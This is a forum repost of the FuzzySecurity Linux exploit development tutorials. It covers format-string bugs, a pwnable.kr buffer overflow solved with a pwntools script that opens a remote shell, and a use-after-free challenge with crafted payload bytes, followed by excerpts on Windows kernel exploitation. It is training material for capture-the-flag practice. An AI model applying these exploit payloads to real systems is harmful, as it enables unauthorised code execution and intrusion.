Linux Exploit Development Tutorial Series (FuzzySecurity)

Asphyxia

Owner
Administrator
Apr 25, 2015
1,844
2
2,197
327
Part 1: Introduction to Linux Exploit Development
Hello and welcome! As I'm sure you know by know, if your reading this, I have a passion for exploit development. My journey into Windows exploit development has even taken me into the depths and insanity of Ring0 exploitation [Thx Ryujin for expanding the pain!]. I will continue to write and publish Windows exploit development tutorials but the time has come for FuzzySecurity to branch out into Linux exploitation! A good friend and colleague of mine Donato Capitella (aka kyuzo) has graciously offered to share his knowledge on this subject matter with us and I know we can all learn a lot from his experience. I won't bore the reader with an overly long introduction, I will just mention that these tutorials require a certain familiarity with general Operating System Internals (nothing that a good Google-search won't teach you). Now go forth and get yourself a shell!!

Tools Of The Trade
A Brain/Persistence
Keep your head cool, read up on subject matter topics, enjoy bending your OS to your strength and pop a shell!


Linux GDB Debugger - Quick reference guide
GNU debugger or more typically referenced as gdb is the default debugger on Linux and is also the defacto debugger we will be using in these tutorials. The command line interface can be a bit daunting at first but once you get used to it you will not regret the effort. If you want to use a graphical debugger you can try edb (Evan's Debugger) which is skinned to be similar to OllyDBG on windows.


Virtualization Software
Basically there are two options here VirtualBox which is free and Vmware which isn't. If its possible I would suggest using Vmware; a clever person might not need to pay for it ;)).
Dead link was (1, followed by mirror 2/3): https://www.cs.berkeley.edu/~mavam/teaching/cs161-sp11/gdb-refcard.pdf // http://www.cs.ucr.edu/~nael/cs153/resources/gdbcard.pdf // https://inst.eecs.berkeley.edu/~cs61c/resources/gdb-refcard.pdf
Definitely working mirror: https://users.ece.utexas.edu/~adnan/gdb-refcard.pdf

Umm... probably print the gdb shit out.

---

Part 2: Linux Format String Exploitation
Welcome to the first part in our Linux Exploitation Tutorial Series. Again I would like to thank kyuzo for taking the time to share his knowledge with us! In this part we will be looking at Format String Exploitation. Format string vulnerabilities usually occur when a programmer wants to print out a user controlled function but does not sanitize the user input allowing the malicious attacker to inject their own format specifiers. This in turn allows the malicious attacker to read and write arbitrary memory.


In my own attempt to educate myself in the fundamentals of format string exploitation I read two most excellent resources: (1) Exploiting Format String Vulnerabilities [scut / Team Teso – 2001] and (2) Advances in format string exploitation [gera & riq / Phrack – 2002]. I have included links to both resources below and I can highly recommend them for background reading.


Before we get to the good stuff I just want to mention that by default gdb unassembles opcode in AT&T syntax, for those of us who have done allot of Windows exploit development this is a bit confusing. Fortunately you can easily change the disassembly flavor in gdb with the following commands..

Code:
set disassembly-flavor intel
set disassembly-flavor att

Resources:
Exploiting Format String Vulnerabilities (by scut): Link
Advances in format string exploitation (by gera & riq): Link

Introduction

A few months ago b33f and myself put together a workshop on software exploitation to be presented in a university environment. The workshop had two main ideas: (1) deal with non-buffer overflow exploitation vulnerabilities and (2) talk about both Windows and Linux. So I picked up a list of less glamorous and more esoteric(!) vulnerabilities; among these we decided to include format strings, as they have been quite important in the last few years as far as Linux is concerned. Just to mention one, at the beginning of 2012 sudo was released with a format string flaw in the sudo_debug function and that was shipped with main-stream distributions like Fedora and OpenSUSE.


After the workshop, I had promised b33f I would contribute some material to FuzzySecurity and, a few months later, I finally made up my mind and decided to make a couple of videos about format string exploitation.


Sample code used in the first part of the video tutorial:
C++:
/* example.c
 * 
 * $ gcc -o example example.c
 * $ execstack -s example # make stack executable
 */
#include <stdio.h>
 
int main() {
    int a = -5;
    float b = 5.5;
    char *c = "My String";
     
    printf("A = %d, B = %f, C = %s\n", a, b, c);
}

Sample code used in the first and second part of the video tutorial:
C++:
/* fmt.c - sample program vulnerable to format string exploitation
 * 
 * $ gcc -o fmt fmt.c
 * $ execstack -s fmt # make stack executable
 */
#include <stdio.h>
#include <string.h>
 
int main(int argc, char *argv[]) {
    char b[128];
    strcpy(b, argv[1]);
    printf(b);
    printf("\n");
}

Format String Tutorial
The first video offers an introduction to what format strings are and how they can lead to information leakages (some of the topics include: conversion specifiers usage and direct parameter access). The second part moves things a step forward and shows how to own a program leveraging arcane format string features like the evil %n conversion specifier!


 

Asphyxia

Owner
Administrator
Apr 25, 2015
1,844
2
2,197
327
Part 3: Buffer Overflow [Pwnable.kr -> bof]

Hola, this is an attempt to revive the linux exploit development series through pwnables (Yaaaaay)! In this first post we will have a look at the BOF challenge on pawnable.kr. This is a simple buffer overflow on 32bit Linux, let get straight into it!

Recon the challenge

For this challenge we get the source code, “bof.c”, which is shown below.

C++:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void func(int key){
        char overflowme[32];
        printf("overflow me : ");
        gets(overflowme);       // smash me!
        if(key == 0xcafebabe){
                system("/bin/sh");
        }
        else{
                printf("Nah..\n");
        }
}
int main(int argc, char* argv[]){
        func(0xdeadbeef);
        return 0;
}

The program calls func with one input parameter, key, set to 0xdeadbeef. It then checks if the key parameter is 0xcafebabe (obviously this will never be the case) and if it is it gives the user a shell, else it prints “Nah..” and exits. The graph view below shows this same logic.

1579883812783.png

An obvious solution presents itself here. The allocated input buffer is 32 bytes in length but the user supplied input has no length restrictions. If we overflow the buffer we can manually replace 0xdeadbeef with 0xcafebabe in memory. Let's quickly check that the program crashes, as expected, when we send a large input buffer.

1579883824786.png

Pwn all the things!

We could spray memory with chunks of 0xcafebabe and hope for the best (this does actually work in this case) but we may as well do this properly. Using pattern create we can find the precise offset to the key variable from our input buffer.

1579883839291.png

Notice that we are setting a breakpoint on the comparison. Once we hit the breakpoint we can inspect the contents at EBP+8 to figure out the offset.

1579883849981.png

Game Over

The start of the key variable is at character 53+. Using pwntools we can quickly make a POC.

Code:
from pwn import *
 
r = remote('pwnable.kr', 9000)
buff = ("\x41"*52) + "\xbe\xba\xfe\xca"
 
r.send(buff)
r.interactive()

When we fire it at the server, we pass the key value check and get a shell!

1579883887847.png

Src: https://www.fuzzysecurity.com/tutorials/expDev/12.html
 

Asphyxia

Owner
Administrator
Apr 25, 2015
1,844
2
2,197
327
Part 4: Use-After-Free [Pwnable.kr -> uaf]

In this next part we will have a look at the UAF challenge on pawnable.kr. This is a 64-bit Linux UAF vulnerability. Putting UAF in the toddler section seems like a bit of a slap in the face (why your skillllzzz no g00d b33f?) but things are not as dire as they seem. Let’s get straight into it.

Recon the challenge

Again, we are provided with some source for the binary, shown below.

C++:
#include <fcntl.h>
#include <iostream>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
using namespace std;

class Human{
private:
    virtual void give_shell(){
        system("/bin/sh");
    }
protected:
    int age;
    string name;
public:
    virtual void introduce(){
        cout << "My name is " << name << endl;
        cout << "I am " << age << " years old" << endl;
    }
};

class Man: public Human{
public:
    Man(string name, int age){
        this->name = name;
        this->age = age;
        }
        virtual void introduce(){
        Human::introduce();
                cout << "I am a nice guy!" << endl;
        }
};

class Woman: public Human{
public:
        Woman(string name, int age){
                this->name = name;
                this->age = age;
        }
        virtual void introduce(){
                Human::introduce();
                cout << "I am a cute girl!" << endl;
        }
};

int main(int argc, char* argv[]){
    Human* m = new Man("Jack", 25);
    Human* w = new Woman("Jill", 21);

    size_t len;
    char* data;
    unsigned int op;
    while(1){
        cout << "1. use\n2. after\n3. free\n";
        cin >> op;

        switch(op){
            case 1:
                m->introduce();
                w->introduce();
                break;
            case 2:
                len = atoi(argv[1]);
                data = new char[len];
                read(open(argv[2], O_RDONLY), data, len);
                cout << "your data is allocated" << endl;
                break;
            case 3:
                delete m;
                delete w;
                break;
            default:
                break;
        }
    }

    return 0;  
}

Take some time to review the code closely. First of all, when the program initializes, it creates a "man" & "woman" object. See an extract of the main function prolog below.

1579883963908.png

Notice that a size of 0x18 (24 bytes) is allocated for both objects (the minimum size for malloc?). We have str "Jack" + int 0x19 (25) and str "Jill" + int 0x15 (21).

After the prolog, we reach our menu with branching options. From the source code it is obvious that there is an issue here, if we select "free" and then "use", the program will attempt to call the introduce method on the deleted "man" & "woman" objects resulting in a segfault.

1579883977356.png

That leaves the "after" option which takes two arguments (to be supplied at runtime). The second argument is a file path and the first argument is an integer which is used to read X bytes from the file into memory.

1579883985144.png

Ok, fairly straight forward, if we select the "free" menu option and then allocate our own custom objects (with the same size) we should be able to get some kind of code exec primitive when referencing that data with the "use" menu option.

The final remaining questions is what are we targeting to complete the challenge? The human class has a private method called "give_shell" which will spawn a bash shell for us, this seems like a pretty convenient target.

1579883998379.png

Pwn all the things!

For this to work we need to have a better understanding of the "use" option. The graph disassembly for that option can be seen below.

1579884010026.png

It seems like there are two near identical calls here, presumably one for the "man" object and one for the "woman" object (or vice versa). Either way, let’s break on "use" in GDB and see what we have.

1579884018225.png

Curiously, we can see pointers to the "Human::give_shell" method. Notice, that we are adding 8 (IntPtr size) to RAX before the QWORD pointer is loaded into RDX and later executed at main+286. After adding 8, the QWORD pointer changes to "Man::introduce".

1579884027377.png

Let’s try giving the program a buffer of 24 character and see what happens. We can construct the input file as follows.
Code:
python -c 'print ("\x41"*8 + "\x42"*8 + "\x43"*8)' > OutFile

After a bit of playing around I found that we have to select the "after" menu option twice to get our code exec primitive. I assume this is because we are deleting two objects of 24 bytes so we have to make two allocations of 24 bytes. Or rather when we hit the "use" menu option, the first call actually references the second allocation whereas the second call references the first allocation.

1579884053777.png

It is pretty much game over at this point, we can call an arbitrary address and from earlier we found two QWORDS which point at the "Human::give_shell" method. If we take either of those and subtract 8 (we need to remember to compensate for "add rax, 8") we should be redirected into a bash shell!
Code:
0x401570 - 8 = 0x401568 => \x68\x15\x40\x00\x00\x00\x00\x00
0x401550 - 8 = 0x401548 => \x48\x15\x40\x00\x00\x00\x00\x00

Game Over

Let’s ssh into the box and get the flag!

1579884088172.png

Appears pawnable is shutdown, while https://pwnable.kr/index.php is alive.
 

Asphyxia

Owner
Administrator
Apr 25, 2015
1,844
2
2,197
327
P.S. if anyone ever wants to explore Ring 0 exploitation, this can be a bitch but check these resources out:

Over eight years have passed and almost every possible method and technique regarding Windows exploitation has been discussed in depth. Surprisingly, a topic that has yet to be touched on publicly is the remote exploitation of Win32 kernel vulnerabilities; a number of kernel vulnerabilities have been published, yet no exploit code has surfaced in the public arena.

It was almost a decade ago when Solar Designer posted a message to the Bugtraq mailing list providing exploit code and detailing a remote buffer overflow in the product Website v1.1e for Windows NT.

This was probably the first published buffer overflow exploit for Windows. Over eight years have passed and almost every possible method and technique regarding Windows exploitation has been discussed in depth. Surprisingly, a topic that has yet to be touched on publicly is the remote exploitation of Win32 kernel vulnerabilities; a number of kernel vulnerabilities have been published, yet no exploit code has surfaced in the public arena.

It is predicted we will see more kernel vulnerabilities in the future, since more and more networking services are being implemented at the driver level. One good example of this is Internet Information Services, which now contains a network driver that performs processing of HTTP requests. With the release of XP SP2 and wide use of personal firewalls, many software and security companies are making claims of secure systems. Those wishing to disprove this claim are going to have to adapt to new methods of exploitation. But a firewall is a security product; therefore it must be secure, right? After all, it has been designed to protect against the very type of threats that are proposed here.

Don’t be discouraged though, if the last two years have shown us anything, it is that security solutions have the same bugs and vulnerabilities as every other piece of software out there.
Certainly, the developers of kernel code are of a very high caliber, and are few and far between. For this exact same reason, the code may not undergo the same level of peer scrutiny as that of a user based application. It only takes one mistake. In the article that follows, we will walk through the remote exploitation of a kernel-based vulnerability. The example used here was a flaw in the Symantec line of personal firewalls. The flaw existed due to incorrect handling of DNS responses. This issue was patched long ago, but it was chosen as it demonstrates certain obstacles relating to the communication layers that must be overcome when exploiting a host-based firewall.

Provided in the document are two shell code examples: the first is a kernel loader , which will allow you to plug in and execute any user-land code you wish; the second operates entirely at the kernel level. A keystroke logger is installed and the keystroke buffer may be retrieved from a remote system. This example demonstrates more of an old school software crack than that of network shell code. This article assumes the reader has knowledge of x86 assembler language, and previous experience with Win32 exploitation.

---

http://uninformed.org/index.cgi?v=3&a=4&p=32 mentions:
Code:
1
Conover, Matt. Malware Profiling and Rootkit Detection on Windows.

http://xcon.xfocus.org/archives/2005/Xcon2005_Shok.pdf; accessed Dec. 12, 2005.
2
eEye Digital Security. Remote Windows Kernel Exploitation: Step into the Ring 0.

http://www.eeye.com/~data/publish/whitepapers/research/OT20050205.FILE.pdf; accessed Dec. 8, 2005.
3
skape. Safely Searching Process Virtual Address Space.

http://www.hick.org/code/skape/papers/egghunt-shellcode.pdf; accessed Dec. 12, 2005.
4
SoBeIt. How to Exploit Windows Kernel Memory Pool.

http://packetstormsecurity.nl/Xcon2005/Xcon2005_SoBeIt.pdf; accessed Dec. 11, 2005.
5
System Inside. Sysenter.

http://system-inside.com/driver/sysenter/sysenter.html; accessed Nov. 23, 2005.

Path to Ring-0 is here: https://insomniasec.com/cdn-assets/The_Path_To_Ring-0.pdf

Mirroring PDF file elsewhere too: https://gofile.io/?c=8epJPx
 
Top